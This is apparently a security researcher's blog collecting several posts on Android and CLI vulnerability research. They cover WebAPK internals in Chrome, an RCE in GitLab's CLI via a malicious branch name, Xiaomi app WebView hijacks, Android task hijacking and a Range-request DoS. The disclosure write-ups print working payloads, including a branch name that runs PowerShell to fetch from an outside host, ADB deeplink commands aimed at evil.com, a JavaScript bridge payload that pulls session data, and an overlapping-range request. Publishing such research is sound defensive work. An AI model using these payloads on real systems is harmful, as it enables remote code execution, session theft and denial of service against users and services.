takemyhand - security blog

Analyzing WebAPKs in Chrome for Android - Part 1

Sat, 14 Oct 2023 06:44:00 +0000

Introduction

What is a WebAPK?

When the user adds a Progressive Web App to their home screen on Android, Chrome automatically generates an APK for them, which is called a WebAPK. Being installed via an APK makes it possible for the app to show up in the app launcher, in Android’s app settings and to register a set of intent filters.

To generate the WebAPK, Chrome looks at the web app manifest and other metadata.

When the WebAPK is installed on the phone, it will register a set of intent filters for all URLs within the scope of the app. When a user clicks on a link that is within the scope of the app, the app will be opened, rather than opening within a browser tab.

The WebAPK runs as a Trusted Web Activity.

Intent

From a simple click in the browser, to having an entire APK installed directly in the background, WebAPK seems to be a complex web of several different Android components. The intent of this blogpost is to understand the entire flow from the user tapping on the “Install App” button, to when the APK is installed on the phone.

Chrome version: 117.0.5938.153 Play Store version: 37.9.18-29 Android version: MIUI Global 12.0.1.2 on Redmi 9

Understanding the structure of the code

It is anyone’s guess that the magic first begins inside the Chrome browser Android application, which is powered by the Chromium browser laid over a Java application. The Chromium browser is thankfully open-source, and with it some of the WebAPK-related Android functionality too. This source code is available at https://source.chromium.org/chromium/chromium/src/+/f97ec5363b5a8666ac40285f0d4bfc23bdc9f87e:components/webapps/browser/android/. For other Chrome-specific functionality, we will need to decompile the Chrome APK from an Android phone. As you will see later on in the blogpost, we will also need to decompile the Play Store application later in order to understand the complete flow.

“Add to Home Screen”

When a user clicks on “Add to Home Screen” or “Install App” button as shown below, we reach the code residing in the AddToHomeScreenDialogView.java

Here we can see that a call to mDelegate.onAddToHomescreen(); is made:

This calls into the following code in AddToHomescreenMediator.java, which seems to be some call to native code based on the “JNI” in the function name. The Java Native Interface is an interface programming framework that enables Java code running in a Java virtual machine to call and be called by native applications and libraries written in other languages such as C, C++ and assembly.

We look for the corresponding code and land in components/webapps/browser/android/add_to_homescreen_mediator.cc, with the following code:

Here we can see that the code checks the params object to figure out if the requested installation is for a WebAPK or not. The code for this struct can be found at components/webapps/browser/android/add_to_homescreen_params.h.

Following the call into AddToHomescreenInstaller::Install(GetWebContents(), *params_, event_callback_), where GetWebContents() returns the HTML document of the current web page loading inside the browser, we reach the following code:

Here we can see that if it’s a WebAPK installation, it will call WebappsClient::Get()->InstallWebApk(web_contents, params);. Let’s look at the code for that:

The shortcut_info structure contains information like the manifest URL of the app to be installed. Going further, we reach:

Going a few calls deeper, we finally reach the following:

CheckFreeSpace() calls back to the Java code as follows:

void WebApkInstaller::CheckFreeSpace() {
  JNIEnv* env = base::android::AttachCurrentThread();
  Java_WebApkInstaller_checkFreeSpace(env, java_ref_);
}

The code inside the Android app simply checks for free space, and proceeds to call back to the C code:

As we can see, it serializes information for the WebAPK into a protobuf stream, and sends a request to the Google minting server, which is responsible for generating the WebAPK, as we will see further.

The protobuf definition for a WebAPK request can be found at /components/webapk/webapk.proto

Generation of the WebAPK - Google’s minting server

Simply intercepting the traffic while this process reveals the following request is sent to Google’s servers. We can see a protobuf serialized message being sent, and in response getting another protobuf response containing details of the generated WebAPK.

Parsing the WebApkResponse

The OnUrlLoaderComplete() eventually calls into InstallOrUpdateWebApk():

Let’s talk about this code. The function takes a “package name” and some kind of “token”.

Digging into the source code for OnUrlLoaderComplete(), we see the following:

The following code takes the response from the Google minting server discussed earlier, and parses it into a WebApkResponse:

std::unique_ptr<webapk::WebApkResponse> response(new webapk::WebApkResponse);
  if (!response_body || !response->ParseFromString(*response_body)) {
    LOG(WARNING) << "WebAPK server did not return proto.";
    OnResult(webapps::WebApkInstallResult::SERVER_ERROR);
    return;
  }

The protobuf definition for a WebApkResponse can be found at out/android-Debug/gen/components/webapk/webapk.pb.h. We can see that at field 1 it contains the package_name:

// optional string package_name = 1;

and that at field 6 it contains a token:

// optional string token = 6;

These are the fields that are used to call InstallOrUpdateWebApk(response->package_name(), token);, which can be seen in the image, once again, the fields corresponding to 1 and 6:

Finally, the native code calls Java_WebApkInstaller_installWebApkAsync(env, java_ref_, java_webapk_package, webapk_version_, java_title, java_token, source_, java_primary_icon);. This leads us back to the Java code inside the Android app,

After this, I was unable to find the definition of installAsync(packageName, version, title, token, callback); in the Chromium project, which is when I decided to decompile the Chrome application itself. This is probably because every browser has it’s own custom implementation of this method inside the GooglePlayWebApkInstallDelegate interface which can be found at chrome/android/java/src/org/chromium/chrome/browser/webapps/GooglePlayWebApkInstallDelegate.java.

Chrome talks to Google Play services

I was able to quickly track down the same package and class file in org.chromium.chrome.browser.webapps.WebApkInstaller, this time with a definition of the installAsync method. This is what I found:

Note that most of the code at this point was initially heavily obfuscated, and variables and functions were renamed after hours of analyzing it.

We see that a service connection is used to interact with a bound service at com.android.vending (which is the package name for Play Store) and the intent with action com.google.android.finsky.BIND_PLAY_INSTALL_SERVICE. Looking into this service connection, we see the following code:

Looking more into the w71 binder object:

At line 30 we see that it transacts with the com.google.android.finsky.installapi.IPlayInstallService binder the service connection is bound to. It sends the current package name, package name and the token to the binder transaction. At this point, we need to turn to the Play Store package to see how it handles this transaction. You can find more abount binder transactions here.

After decompiling the Play Store package and opening com.google.android.finsky.installapi.PlayInstallService we see the following:

Going through the code for the installBinder binder (real class name qeu), we see the following call being made:

Bundle mo10293a = mo10293a(parcel.readString(), parcel.readString(), (Bundle) parcelOperator.createParcel(parcel, Bundle.CREATOR));

This is basically inside the onTransaction call for this binder, where the sending package name, the installation package name and bundle containing our token is taken from the transaction. Looking into the code for mo10293a() we will see the following function call with the same bundle and package name combo:

((qfa) arrayList.get(i)).mo10213a(uryVar);

There is also a check early on in the function:

if (!this.f136102c.checkUid(packageName)) {
            return m10294b(-1);
        }

This check ensures that the sending package name in the transaction call matches the Uid of the package that the binder is transacting with.

The code for the mo10213a() function can be found in a class called qfp:

Following line 14 we come across a whole bunch of checks on the transaction information, which are needed to pass in order for the package to finally be installed. All the checks look quite simple, except for the first one, which is to do with signatures. Going down a little deeper, we are faced with a whole class that deals with Google package signature verification (again, variable and function naming done independently):

As you can see, the package communicates with a service called com.google.android.gms.common.internal.IGoogleCertificatesApi to check if the signature of the calling package is a Google verified signature or not.

After these checks, the WebAPK installation begins. But as far as security goes, this is the last check in the process, after which Play Store retrieves the APK using the token sent earlier in the transaction.

RCE in GitLab's CLI tool

Thu, 06 Jul 2023 13:42:00 +0000

Introduction

After starting at GitLab in October last year as a security engineer, one of the first reviews that came my way was our CLI tool, which was only recently published officially.

Taking inspiration from the command injection vulnerability in Snyk's CLI tool, we decided to performed a code review on GitLab's CLI tool to look for improper usage of exec.Command. A particular code snippet in /pkg/browser/browser.go:

func ForOS(goos, url string) *exec.Cmd {
    exe := "open"
    var args []string
    switch goos {
        case "darwin":
            args = append(args, url)
        case "windows":
            exe = "cmd"
            r := strings.NewReplacer("&amp;", "^&amp;")
            args = append(args, "/c", "start", r.Replace(url))
        default:
            exe = "xdg-open"
            args = append(args, url)
}

cmd := exec.Command(exe, args...)

Attack surface

Golang does a pretty decent job of protecting against command injection, and we would only be vulnerable to any kind of RCE only if direct calls to cmd.exe or sh were being made with user input. In the above code snippet, url is directly being used to call a command that looks like: cmd.exe /c "start <http://url="">

If we can control the url parameter somehow, we may be able to break out of the URL and inject arbitrary commands. Looking for usage of this function leads us to /commands/mr/create/mr_create.go. This line indirectly calls the function that we have noted above:

return utils.OpenInBrowser(openURL, browser)

openURL is generated using the following:

openURL, err := generateMRCompareURL(opts)

Following generateMRCompareURL leads us to the following piece of code:

u, err := url.Parse(opts.SourceProject.WebURL)

 if err != nil {
    return "", err
}

u.Path += "/-/merge_requests/new"
u.RawQuery = fmt.Sprintf( "merge_request[title]=%s&amp;merge_request[description]=%s&amp;merge_request[source_branch]=%s&amp;merge_request[target_branch]=%s&amp;merge_request[source_project_id]=%d&amp;merge_request[target_project_id]=%d",
strings.ReplaceAll(url.PathEscape(opts.Title), "+", "%2B"),
strings.ReplaceAll(url.PathEscape(description), "+", "%2B"),
opts.SourceBranch,
opts.TargetBranch,
opts.SourceProject.ID,
opts.TargetProject.ID)
return u.String(), nil

Circling back to what we already covered, if a user supplies the following input:
glab mr create --web,
the function previewMR() generates a URL via generateMRCompareURL(), and due to supplying the --web flag, utils.OpenInBrowser(openURL, browser) ends up calling (pay close attention to the & char being escaped via the ^ char, which is done to send the & as a URL parameter separator instead of a shell character)
cmd.exe /c "start https://gitlab.com/test-user/test-repo/-/merge_requests/new?merge_request[title]=%s^&merge_request[description]=%s^&merge_request[source_branch]=%s^&merge_request[target_branch]=%s^&merge_request[source_project_id]=%d^&merge_request[target_project_id]=%d"

Looking at generateCompareURL() to see what parameters we can control:

u.RawQuery = fmt.Sprintf( "merge_request[title]=%s&amp;merge_request[description]=%s&amp;merge_request[source_branch]=%s&amp;merge_request[target_branch]=%s&amp;merge_request[source_project_id]=%d&amp;merge_request[target_project_id]=%d",
strings.ReplaceAll(url.PathEscape(opts.Title), "+", "%2B"),
strings.ReplaceAll(url.PathEscape(description), "+", "%2B"),
opts.SourceBranch,
opts.TargetBranch,
opts.SourceProject.ID,
opts.TargetProject.ID)
return u.String(), nil

The title and the description is set by the user calling the glab mr create --web command. We could try poisoning either the source branch name or the target branch name.

Exploitation

So, we are at a stage where we need to craft a valid git branch whose name is such that it allows us to break out of the URL and inject arbitrary commands.

Our current injection point, which is the URL parameter merge_request[target_branch] looks like the following

cmd.exe /c "start https://gitlab.com/test-user/test-repo/-/merge_requests/new?merge_request[title]=%s^&merge_request[description]=%s^&merge_request[source_branch]=%s^&merge_request[target_branch]=PAYLOAD-HERE^&merge_request[source_project_id]=%d^&merge_request[target_project_id]=%d"

The simplest way to break out of the command would be to use something like &calc.exe, which could end up calling
cmd.exe /c "start https://gitlab.com/test-user/test-repo/-/merge_requests/new?merge_request[target_branch]=&calc.exe"
As a result, the start command would first open the URL https://gitlab.com/test-user/test-repo/-/merge_requests/new?merge_request[target_branch]=, and Windows will then run the calc.exe process, thanks to the & shell character.

However, all & chars are escaped using the following line:

r := strings.NewReplacer("&amp;", "^&amp;")

So, & is not an option.

Windows has many file name restrictions, which wouldn't allow you to create a proper payload. However, this was not the case when creating a branch name within the GitLab UI itself. After a lot of fuzzing and searching online, the following branch name was finally crafted by using the "@" and "|" character: a|@calc. Yes, these are valid command delimiters in Windows commands, and more importantly, valid branch names that cannot be created locally, but only via the GitLab UI. This leads to RCE.

What's more useful as an attacker is the ability to set default branches in your projects in GitLab, which mean that by default, all Git clients will load and refer to this branch.

Attack scenario

Attacker creates a repository. They create a branch named "@|calc".
To make the attack more convincing, they set this branch as the default branch.
Victim clones the repository on their machine.
Victim tries to create an MR using glab mr create --web
The following command is run: cmd.exe /c "start https://gitlab.com/test-user/test-repo/-/merge_requests/new?merge_request[title]=%s^&merge_request[description]=%s^&merge_request[source_branch]=%s^&merge_request[target_branch]=@|calc^&merge_request[source_project_id]=%d^&merge_request[target_project_id]=%d".
The pipe character allows to break out of the URL context and launch calc.

PoC video

Further limitations

After trying to craft a more practical payload that would do more than just pop calc, I came across the following restrictions

Can't use the space character for a more complex payload
Length limit due to branch name specifications

After further fuzzing, I found out that we can fully chain arbitrary Windows commands using the ";" command delimiter. The branch name for this exploitation would be:

a|@powershell;iwr('pingb.in/p/1df28a9c513ab75e6a3c73d52b8f')

This will first open up Powershell, then run the commands following the ';' character inside it. This is also something I wasn't aware of before.

Conclusion

People often discount CLI tools when it comes to finding impactful security issues, but it shouldn't be forgotten that as long as there are venues that process user input, especially using sensitive sinks that deal with shell commands, local filesystem operations etc., there is always a chance that things might go wrong - so be sure to thoroughly analyze the different functionalities of such tools.

Hacking Xiaomi's android apps - Part 1

Mon, 19 Jul 2021 14:33:00 +0000

In this blogpost I want to disclose some interesting security issues that I found while researching on Xiaomi's assets, which got me to #5 within a month and also the top researcher spot for April and May '21.

1. Stealing users' AuthToken by hijacking WebView in Mi Home

The app exported an activity which loaded an external URL directly from user input. A simple ADB PoC is am start -n com.xiaomi.smarthome/com.mi.global.shop.activity.MainTabActivity -d http://tmh/?nativeOpenUrl=www.evil.com
As you can see, my payload is in the nativeOpenUrl parameter. Looking at the code for this activity, it is found that the webview implements a custom DownloadListener like the following:We see that the webview introduces it's own method for whenever a download starts. Further, on lines 23-26, we see that it will attach the user's cookies to a request that makes the app start a download.

Connecting all the dots, we now simply have to create a page that will send a 'downloadable' response to the webview, and it will send a request with the user's cookies attached.
A simple PoC in PHP:As can be seen, the server responds with a 'downloadable' HTTP response, and on receiving the next request, sends the user cookie to a Collaborator instance.

Naturally, the next step in the attack was to make this attack remote. For this, deep links were used. The manifest file revealed that the app will parse any links of the format globalshop://mobile.mi.com?<params>. After some more code review, the following link was crafted: globalshop://mobile.mi.com?nativeOpenUrl=https://takemyhand.xyz/downloadable_response.html. This link can be used inside an anchor tag of the attacker's web page, and it will execute the full attack.

2. Overly verbose app logs in Xiaomi Market

This bug is nothing fancy, but I think a lot of people might miss this. The Xiaomi Market stored app logs in a public directory, which could have been accessed by any application on the victims' device. This was due to usage of getExternalFilesDir(), which returns a handle to the /sdcard/Android/data/com.xiaomi.market/files directory where the logs reside. Previously I only restricted myself to checking the /sdcard/ directory without looking inside the app's own private (but public?) directory. Looking for these issues is as simple as grepping for getExternalFilesDir() and not just getExternalStorage(). A simple java PoC to steal logs out of the directory is:

3. Task deception using app linking in Mi Music

The manifest file for Mi Music looked like:

Code for miui-music://web deeplink in com.miui.player.component.HybridUriParser:

As can be seen, if the deeplink is like miui-music://web/?url=https://www.google.com&browser_view=true, this will launch another intent with data as https://www.google.com and action android.intent.action.VIEW. Naturally, this will be opened in the device's browser.

An interesting way to attack such implementations (which is quite common to prevent malicious links from opening inside the webview), is to use app links.

Android allows use of app links, which work similar to deep links. If an app link for my app exists, instead of the URL opening in the browser, my application will be launched on the user's device.
So, a custom APK was built, and the following intent filters were added:

This means that all intents with data https://recon.takemyhand.xyz/deceive.html will be launched inside my application.
If I just add this intent filter, then on using deeplink miui-music://web/?url=https://recon.takemyhand.xyz/deceive.html&browser_view=true, my app will simply get launched, although without any chance of deceiving the user.
To make it 100% convincing, the following intent filters were also added inside the app:

This will allow the user to choose an application when launching the deeplink miui-music://web/?url=https://recon.takemyhand.xyz/deceive.html&browser_view=true. Even when the user clicks on Mi Music in the intent picker, it will launch the custom APK's activity, since an app link is declared in the application.
Lastly, I have also signed my APK and used the SHA 256 fingerprint to generate my own assetlinks.json file on my website, which allows android to open the custom application every time instead of inside the browser.
Even when the user chooses Mi Music to open the deeplink, he will be taken to the malicious activity. Since the launchMode of the activity inside Mi Music is set to singleTask, the malicious activity will be launched inside Mi Music app (a task affinity can be set in the malicious application), making it impossible for victim to suspect an attack. This can lead to very easy theft of credentials,/span></div>

The simple fix was to specify browser package in com.miui.player.component.HybridUriParser when launching browser intent.

4. Remote WebView hijack to exfiltrate data in Mi Music

In the AndroidManifest.xml file you can see the com.miui.player.ui.MusicBrowserActivity processes deeplinks:

Looking at the code for com.miui.player.ui.MusicBrowserActivity shows a function called dispatch:

Uri parseData = parseData(intent); parses the intent and passes it to parseFragment() in the last function inside dispatch.
The code for parseFragment:

Now we know what deeplink is needed to trigger the webview with our URL: miui-music://global_music/?page_type=webview&url=https://www.evil.com

Now to find a way to escalate this attack, a way had to be discovered to exploit this insecure webview usage.

In com.xiaomi.music.hybrid.internal.HybridManager class you can see that javascript interface is getting added:

The javascript interfaces are declared in com.xiaomi.music.hybrid.internal.JsInterface. You can see that there are 2 javascript interfaces:

Code for mManager.invoke() found in com.xiaomi.music.hybrid.internal.HybridManager:

The HybridFeature lookupFeature = this.mFM.lookupFeature(str); allows us to call certain features. A list of all these features can be found under com.miui.player.hybrid.feature folder.

So using our webview, we should able to query any of these features. For example, to get the userInfo, our payload inside the webview will be:

This payload took quite some time to make. The first parameter is an identifier to the feature we want to call, the second parameter is the type of request we are making. In this case, we use the callback mode and use our callback as (function(t) {alert(t)} which will take the response from the java code and alert it.

If you try loading the above script inside your HTML page and load it inside your webview, you will get permission error. Why?

So in the first line of the invoke function, you can see:

if (!this.mPM.isValid(this.mPageContext.getUrl())) {

The code for this can be found in the com.xiaomi.music.hybrid.internal.PermissionManager class. As you can see, we need a valid Config object:

A Config object is initialised every time the app opens a URL inside the webview. This objects properties include a signature, an array of allowed domains and subdomains, and some other app-specific items. A custom Config can be declared using the config() javascript interface mentioned in the com.xiaomi.music.hybrid.internal.JsInterface file. However, this requires a lot of reverse engineering as it involves generating a valid signature. Since the object was huge (as you will see in the video), to get a valid Config object, we will use Frida, so that we can understand how a Config object affects our control over the webview. We will use the following Frida script to capture a valid Config object:

As you can see in the youtube video, I am able to get a default valid Config object, in which the firebasestorage.googleapis.com seems to have been whitelisted as a domain.

This means that the javascript hosted on the https://firebasestorage.googleapis.com/* sites will be able to invoke the invoke interface without any error, since this URL will be present inside the Config object on webview init, thereby successfully passing the isValid() check. Firebase allows any user to store files (HTML files in this case) on the firebasestorage.googleapis.com domain.

Go to https://console.firebase.google.com/u/0/
Select a project
Click on storage on the left side tab.
Create an HTML file with the following payload and get the resulting URL:

ADB shell: am start -n com.miui.player/com.miui.player.ui.MusicBrowserActivity -d "miui-music://global_music/?page_type=webview&url=<FIREBASE-URL-HERE>"

After running the above command, we are successfully able to bypass the permissions and invoke any JS interface remotely.

Other payloads:

Basically, all the features (com.miui.player.hybrid.feature.*) in the attached screenshot can now be queried by the attacker

Display android toast:

This will make an Android toast on victim's device:

Get user search history:

Query current playing song:

Lastly, other music and device related information can be queried in a similar way using the com.miui.player.hybrid.feature.ConfigStatics class and also all the other query features.

The type parameter in the above payload can be adjusted according to the numbers mentioned in com.miui.player.hybrid.feature.ConfigStatics class.

Attacker can also remotely control music (play, seek, next, previous) using com.miui.player.hybrid.feature.ControlService and get all JOOX account information using com.miui.player.hybrid.feature.JooxBridgeFeature.

5. Remote WebView hijack using open redirect in Xiaomi Game Center leads to theft of data / privacy violation

This bug exists in the Xiaomi game center which I have downloaded from https://game.xiaomi.com. I have found an interesting webview hijack which bypasses the whitelist protection in place. Activity com.xiaomi.gamecenter.ui.webkit.KnightsWebKitActivity is exported and accepts deeplinks of the format migamecenter://openurl:

Code

<activity android:theme="@style/Theme.Light" android:name="com.xiaomi.gamecenter.ui.webkit.KnightsWebKitActivity" android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <data android:scheme="migamecenter" android:host="openurl"/>
            </intent-filter>

Looking at the following function which is called inside the onCreate() inside the activity's code:

Code

private boolean c(Intent intent) {
        Uri data;
        **<--redacted-->**
        if (TextUtils.isEmpty(this.Y) && (data = intent.getData()) != null) {
            String scheme = data.getScheme();
            String host = data.getHost();
            if (TextUtils.equals(scheme, "migamecenter")) {
                if (TextUtils.equals(host, fa)) {
                    this.Y = data.toString().substring(23);
                } else if (TextUtils.equals(host, ga)) {
                    this.qa = false;
                    this.Y = data.toString().substring(26);
                } else {
                    this.Y = data.toString();
                }
            } else if (Va.b(data, fa)) {
                String uri = data.toString();
                this.Y = uri.substring((scheme + "://").length() + 15 + 12);
            } else {
                this.Y = data.toString();
            }
        }
        Logger.b("KnightsWebKitActivity", "openurl=" + this.Y);
        Uri uri2 = null;
        if (!TextUtils.isEmpty(this.Y)) {
            uri2 = Uri.parse(this.Y);
        }
        if (!G(this.Y)) { //VALIDATION OF URL HAPPENING HERE
            Log.e("knightsweb", "DENY ACCESS!!! Unsupported url.");
            return false;
        }
       **< --redacted-->**
            }
            a(uri2, intent);
        }
        return true;
    }

At this point, we can try simply loading migamecenter://openurl?www.evil.com and hope that the following line inside the onCreate() function will simply load www.evil.com in our webview:

Code

this.ka = new KnightsWebView(this, this, this.na, this.Y);

We observe that this fails. Digging deeper, the above function c calls if (!G(this.Y)) which validates that the URL is owned by Xiaomi or related companies. The following function is in com.xiaomi.gamecenter.ui.webkit.Z:

Code

public boolean b(String str) {
        if (h.f11484a) {
            h.a(133205, new Object[]{str});
        }
        if (TextUtils.isEmpty(str)) {
            return false;
        }
        String trim = str.trim();
        if (TextUtils.isEmpty(trim)) {
            return false;
        }
        if (d(trim)) {
            return true;
        }
        try {
            Uri parse = Uri.parse(trim);
            String host = parse.getHost();
            if (TextUtils.isEmpty(host)) {
                return false;
            }
            Logger.b("webkit host=" + host);
            if (host.endsWith(".mi.com") || host.endsWith(".xiaomi.com") || host.endsWith(".wali.com") || host.endsWith(".xiaomi.net") || host.endsWith(".duokan.com") || host.endsWith(".miui.com") || host.endsWith(".mipay.com") || host.endsWith(".duokanbox.com") || TextUtils.equals(host, "mi.com") || TextUtils.equals(host, "xiaomi.com") || host.endsWith(".gov.cn") || host.endsWith("jq.qq.com")) {
                return Va.b(parse.getScheme());
            }
            return false;
        } catch (Throwable th) {
            Logger.a("", th);
        }
    }

As you can see, this protection looks robust. The application checks whether the URL to be loaded ends with mi.com, xiaomi.com, duokan.com etc.

Misconfiguration in Game Center's BaseWebViewClient

The KnightsWebView actually sets its WebViewClient to BaseWebViewClient. Looking at the code for this, we come across the shouldOverrideUrlLoading implementation:

Code

public boolean shouldOverrideUrlLoading(WebView webView, String str) {
        BaseWebView baseWebView2;
        <--redacted-->
        if (isJavaScripUrl(str)) {
            this.mBridgeHandler.sendMessage(this.mBridgeHandler.obtainMessage(256, webView));
            return true;
        } 
        <--redacted-->
            } else {
                if (str.startsWith("migamecenter://")) {
                    try {
                        Intent intent = new Intent("android.intent.action.VIEW");
                        intent.setData(Uri.parse(str));
                        intent.putExtra("extra_title", m._b);
                        Aa.a(webView.getContext(), intent);
                    } catch (Exception e2) {
                        Log.w("", e2);
                    }
                    return true;
                }
                boolean e3 = Y.e(str);
                if (!e3) {
                    k.b(R.string.unsupported_url_tip);
                }
                return e3;
            }
        }
    }

Since we are trying to load www.evil.com in our webview, our URL will fall to the last statement:

Code

                if (!e3) {
                    k.b(R.string.unsupported_url_tip);
                }
                return e3;

Y.e() returns true if the URL is owned by Xiaomi (.mi.com, .xiaomi.com etc.) and has the HTTPS scheme. Since our URL is https://www.evil.com, it will return FALSE. Unfortunately, inside the WebView's shouldOverrideUrlLoading method, returning FALSE means that webview will continue to load the URL, and returning TRUE means the webview will NOT load that URL. Due to this confusion, https://www.evil.com will actually get loaded in the webview. This means, if we are able to find an open redirect on any of the allowed hosts, the webview will NOT BLOCK the redirected URL. I will be using the following open redirect with a simple bypass: https://api.music.xiaomi.com/web?url=http://www.evil.com\www.xiaomi.com (fixed now)

JavaScript bridge in Game Center

Game Center implements JS in a very creative (at least in my experience) way and does not use only JavaScript interfaces. It uses a combination of shouldOverrideUrlLoading and a custom android Handler.

For example, if JS in a page calls JsBridge.invoke("method-name"), the application will load an iframe with source javascript:<JS-CODE>. This will trigger the shouldOverrideUrlLoading behaviour and call the custom handler:

Code

 if (isJavaScripUrl(str)) {
            this.mBridgeHandler.sendMessage(this.mBridgeHandler.obtainMessage(256, webView));
            return true;
        } else if (str.startsWith(JS_MESSAGE_PREFIX)) {
            Message obtainMessage = this.mBridgeHandler.obtainMessage(257, webView);
            obtainMessage.getData().putString("url", str.substring(str.indexOf(JS_MESSAGE_PREFIX) + 50));
            this.mBridgeHandler.sendMessage(obtainMessage);
            return true;
        }

The mentioned handler will look for that java method inside the com.xiaomi.gamecenter.ui.webkit.BaseWebViewClient class, and then invoke() it, as you can see here:

This looks very interesting. Since we are using the getMethod() java method (The java.lang.Class.getMethod() returns a Method object that reflects the specified public member method of the class or interface represented by the Class object), all the methods which are declared as public inside this class can be called in this way by using the above function. Some of these functions include:

public void get_session_data() this method returns all session data in a JSON object:

public void client_method_execute() this method executes various other methods which include READ/WRITE ACCESS TO ANDROID CALENDAR without permission prompt

So now I have a fair idea of how I can interact with the Java code using javascript inside my webview, but I still don't know how I can do this. To be sure, I can try to read the entire code and work my way backwards to come up with a proper payload, but I instead resorted to further recon inside the android app. Many times, I have found that the application will host some of its webview resources inside the resources directory, which can allow an attacker to read the code and figure out how a locally hosted webview file might interact with the application.

In this case, I was able to extract some very valuable information from resources > assets > js > jsBridge-mix.js which contained a lot of code involving native webview to Java interaction. You can find the JS here, to see what I was dealing with. After understanding the code, I figured out a lot of function calls and what their purpose is. Looking for the get_session_data() from above also showed how a call looks like:

The s() function is basically a modified call to invoke the JS bridge. So now we can build the following payload which will alert the user's session data to us:

<html>
  <body>
    <script src='remote-server/jsBridge-mix.js'> //host the jsBridge-mix.js from resources directory
      JsBridge.invoke("get_session_data", {}, function(a) { //the a variable will contain the response JSON object from the Java code
                        var i = {};
                        i = a;
                        window.alert(JSON.stringify(i);
                    })
    </script>
  </body>
</html>

Making this attack remote is as easy as using a deeplink in your HTML page and having a user click on it.

<a href='migamecenter://openurl?https://api.music.xiaomi.com/web?url=http://www.evil.com\www.xiaomi.com> with the above HTML payload hosted inside.

Similarly, I can read the rest of the code and also reverse engineer a payload to execute any method that I want to, like the client_method_execute().

That's all for part 1. I will release more of my findings once Xiaomi fixes them. Thanks for reading :)

</div>

Android task hijacking using moveTaskToBack() and excludeFromRecents

Sat, 20 Feb 2021 15:07:00 +0000

What is task hijacking in Android?

Task hijacking and it's impact in Android was first presented in 2015 at USENIX. It refers to an attack wherein a malicious app takes over the "back stack" of the vulnerable app, and thereafter whenever the user tries to open the vulnerable app, he will instead by greeted by the activity of the malicious app.

What are tasks and back stacks?

Android developer's documentation states - "A task is a collection of activities that users interact with when performing a certain job. The activities are arranged in a stack—called the back stack—in the order in which each activity is opened. So when a user runs an application, and goes from activity 1 to activity 2, and finally to activity 3 - when the user presses the Back button, the current activity is popped from the top of the stack (the activity 3 is destroyed) and the previous activity (activity 2) resumes (the previous state of its UI is restored). Activities in the stack are never rearranged, only pushed and popped from the stack—pushed onto the stack when started by the current activity and popped off when the user leaves it using the Back button. As such, the back stack operates as a "last in, first out" object structure."

From Android developer documentation

Android launch modes

Launch modes are activity attributes that are specified in the AndroidManifest.xml (or mentioned as flags in the calling intent). They provide the underlying OS an instruction on how the activity should be launched. There are four modes that work in conjunction with activity flags (FLAG_ACTIVITY_* constants) in Intent objects to determine what should happen when the activity is called upon to handle an intent. They are:

standard
singleTop
singleTask
singleInstance

For the attack described here, we are mostly concerned with the "singleTask" mode.

A "singleTask" activity allows other activities to be part of its task. It's always at the root of its task, but other activities (necessarily "standard" and "singleTop" activities) can be launched into that task.

Task hijacking with moveTaskToBack() function and excludeFromRecents attribute

Activities in android can call the moveTaskToBack() function, which will move the task containing this activity to the back of the activity stack (basically minimise the activity)

What does the excludeFromRecents attribute do? This attribute will simply hide an application from popping up in the overview screen.

Now let's look at how this can be used to create an exploit. An attacker can make an app (com.tmh.attacker) with the following features:

As you can see, the app has defined a taskAffinity for the entire application - this means that unless otherwise specified, all activities of this application will associate themselves with the task of com.tmh.victim

Let us look at the attack in action now, after installing the victim and attacker apps.

When the user opens the attacker's app, it immediately minimises the task.
As you can see in the GIF, this does not show up at all in the overview screen.
After that, when the user opens the victim app, and presses the back button, instead of being taken to the home screen, he is taken to the attacker's application - thanks to the taskAffinity mentioned by the attacker's app which is set to the victim's app.

For demonstration purposes, I have explicitly named the app as "Attacker", but a real life exploitation can involve a very stealthy and convincing UI spoofing.

Preventing task hijacking

Setting taskAffinity="" can be a quick fix for this issue. The launch mode can also be set to singleInstance if the app does not want other activities to join tasks belonging to it. A custom onBackPressed() function can also be added, to override the default behaviour.

Range Request DoS: An uncontrolled memory consumption vector in Go's net/http

Wed, 29 Jul 2020 06:06:00 +0000

In this blog I highlight a very old DoS technique, which works via usage of HTTP's range requests, which I have dubbed RRDoS for the rest of the post [short for Range Request Denial of Service]. This is not to be confused with ReDoS, which depends on misconfigured regex.

What are Range requests?

Let's first understand what range requests are. Simply put by MDN- HTTP range requests allow to send only a portion of an HTTP message from a server to a client. Partial requests are useful for large media or downloading files with pause and resume functions, for example.

As an example, if there is an endpoint which serves an image at path /static/cat.jpg whose size is 1024 bytes, then we can request the first 10 bytes only by sending a request like:

GET /static/cat.jpg HTTP/1.1
Host: www.test.com
Range: bytes=0-10

Now if the server accepts range requests, it will reply with something like:

HTTP/1.1 206 Partial Content
Content-Range: bytes 0-10/1024
Content-Length: 10

Now that we know what range requests are, let's try to understand the attack.

Multipart ranges

Using range requests, it is also possible for one to request multiple ranges for a resource, by sending a request like:

GET /static/cat.jpg HTTP/1.1
Host: www.test.com
Range: bytes=0-10,10-1024

The server will respond to this request by sending:

HTTP/1.1 206 Partial Content
Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
Content-Length: 282

--3d6b6a416f9b5
Content-Type: image/jpeg
Content-Range: bytes 0-10/1024
    <binary content here>
--3d6b6a416f9b5
Content-Type: image/jpeg
Content-Range: bytes 10-1024/1024
    <binary content here>
--3d6b6a416f9b5--

The attack

RFC 7233 lays down the rules and semantics for use of range requests by servers and clients as well. If you scroll down to the Security Considerations section, you will see a small paragraph which says:

"   Unconstrained multiple range requests are susceptible to denial-of-
   service attacks because the effort required to request many
   overlapping ranges of the same data is tiny compared to the time,
   memory, and bandwidth consumed by attempting to serve the requested
   data in many parts.  Servers ought to ignore, coalesce, or reject
   egregious range requests, such as requests for more than two
   overlapping ranges or for many small ranges in a single set,
   particularly when the ranges are requested out of order for no
   apparent reason.  Multipart range requests are not designed to
   support random access.   "

This is self-explanatory. Basically, if you request many overlapping ranges recursively, the server may try to parse EACH of these ranges individually, leading to a potential memory consumption, and eventually crashing the server.

An example malicious request for the cat.jpg file above would look like:

GET /static/cat.jpg HTTP/1.1
Host: www.test.com
Range: bytes=0-5,0-7,1-6,9-12,10-11,4-5,0-9,0-10,0-12,...

